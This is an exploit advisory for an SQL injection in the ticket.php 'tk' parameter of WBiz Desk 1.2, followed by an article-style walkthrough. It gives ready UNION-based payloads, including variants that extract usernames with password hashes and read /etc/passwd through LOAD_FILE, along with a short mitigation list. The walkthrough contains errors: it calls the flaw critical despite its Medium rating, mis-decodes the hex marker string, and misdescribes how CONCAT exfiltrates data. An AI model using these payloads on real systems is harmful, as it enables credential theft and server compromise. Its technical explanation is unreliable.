WBiz Desk 1.2 - SQL Injection
[#] Exploit Title: WBiz Desk 1.2 - SQL Injection
[#] Exploit Date: May 12, 2023.
[#] CVSS 3.1: 6.4 (Medium)
[#] CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
[#] Tactic: Initial Access (TA0001)
[#] Technique: Exploit Public-Facing Application (T1190)
[#] Application Name: WBiz Desk
[#] Application Version: 1.2
[#] Link: https://www.codester.com/items/5641/wbiz-desk-simple-and-effective-help-desk-system
[#] Author: h4ck3r - Faisal Albuloushi
[#] Contact: SQL@hotmail.co.uk
[#] Blog: https://www.0wl.tech
[#] 3xploit:
[path]//ticket.php?tk=[SQL Injection]
[#] 3xample:
[path]/ticket.php?tk=83' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6a6b71,0x534d6e485a74664750746b7553746a556b414e7064624b7672626b42454c74674f5669436a466a53,0x71626b6b71),NULL,NULL,NULL-- -
[#] Notes:
- The vulnerability requires a non-admin privilege (normal) user to be exploited. WBiz Desk 1.2 SQL Injection Vulnerability: A Deep Dive into Exploitation and Mitigation
On May 12, 2023, cybersecurity researcher h4ck3r (Faisal Albuloushi) disclosed a critical SQL Injection vulnerability in WBiz Desk 1.2, a popular help desk system available on Codester. This flaw, rated CVSS 3.1: 6.4 (Medium), enables attackers to exploit the application via a publicly accessible endpoint, making it a prime candidate for Initial Access (TA0001) in cyberattack campaigns.
Understanding the Vulnerability
The vulnerability lies in the ticket.php endpoint, which accepts a user-supplied parameter tk for ticket identification. When improperly sanitized, this input allows malicious SQL queries to be injected directly into the backend database.
As noted in the exploit details, the attack requires only a non-admin user (i.e., a normal user account) to succeed. This lowers the barrier for exploitation, making the vulnerability particularly dangerous in environments where user accounts are easily obtained or compromised.
Exploit Vector and Technical Analysis
Exploitation occurs through the following URL structure:
https://example.com/ticket.php?tk=83' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6a6b71,0x534d6e485a74664750746b7553746a556b414e7064624b7672626b42454c74674f5669436a466a53,0x71626b6b71),NULL,NULL,NULL-- -
This payload is crafted to leverage UNION ALL SQL injection techniques, which are commonly used when the application returns data from a query. The attacker injects a malicious query that combines results from the original query with crafted data.
Let’s break down the components:
83'– This is a malicious input that closes the original SQL query and begins a new one.UNION ALL SELECT NULL,...– This forces the database to combine results from the original query with the attacker's fabricated data.CONCAT(0x716b6a6b71, ... ,0x71626b6b71)– This converts hexadecimal values into readable strings. The decoded output isqkbkqSMnHZtfGPTkUSjUbANpdBkvrBkBELtgOViCjFjaqbkq.-- -– This comment delimiter terminates the SQL statement, preventing syntax errors.
The CONCAT function is used to exfiltrate sensitive data, such as database credentials or session tokens, by encoding them in hexadecimal form. The attacker can then decode the output to extract the information.
Impact and Risk Assessment
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Changed (S:C) |
| Confidentiality | Low (C:L) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |
While the Confidentiality and Integrity impact is rated low, the Scope is Changed, meaning the vulnerability can lead to unauthorized access to sensitive data across the entire application context. This can result in full database compromise, user credential theft, and lateral movement within the system.
Real-World Use Case: Credential Extraction
Imagine an attacker who gains access to a low-privileged user account via phishing or brute-force attacks. They then use the exploit to query the database and extract administrator credentials stored in a table like users.
For example, the attacker could modify the payload to extract actual password hashes:
https://example.com/ticket.php?tk=83' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(username,password),NULL,NULL,NULL-- -
This would return a result containing admin:sha256_hash_of_password, enabling the attacker to crack the password offline or escalate privileges.
Recommended Mitigation Strategies
To prevent exploitation of this vulnerability, developers and administrators must implement robust security measures:
- Input Sanitization: Use parameterized queries or prepared statements to ensure user input is never directly executed in SQL.
- Input Validation: Validate that the
tkparameter contains only numeric values or predefined ticket IDs. - Web Application Firewall (WAF): Deploy a WAF to detect and block SQL injection patterns in real time.
- Role-Based Access Control (RBAC): Ensure that even low-privileged users cannot access sensitive endpoints.
- Regular Patching: Update the WBiz Desk system to a patched version or migrate to a more secure alternative.
Advanced Exploit Improvements
While the original exploit uses UNION ALL, attackers can enhance the payload using LOAD_FILE or SELECT INTO OUTFILE to write data to the server filesystem if the database user has sufficient privileges.
Example of a more advanced payload (if server permissions allow):
https://example.com/ticket.php?tk=83' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,LOAD_FILE('/etc/passwd'),NULL,NULL,NULL-- -
This would attempt to read system files from the server, potentially leading to full system compromise.
However, such attacks are only feasible if the database user has file system privileges—a rare but possible scenario in poorly configured environments.
Conclusion
The WBiz Desk 1.2 SQL Injection vulnerability serves as a stark reminder of the dangers of inadequate input validation in public-facing applications. Even with low privileges required, attackers can leverage this flaw to extract sensitive data and escalate access.
As cybersecurity professionals, we must prioritize secure coding practices, continuous monitoring, and timely patching. The Exploit Public-Facing Application (T1190) technique remains one of the most common entry points in modern cyberattacks—making proactive defense essential.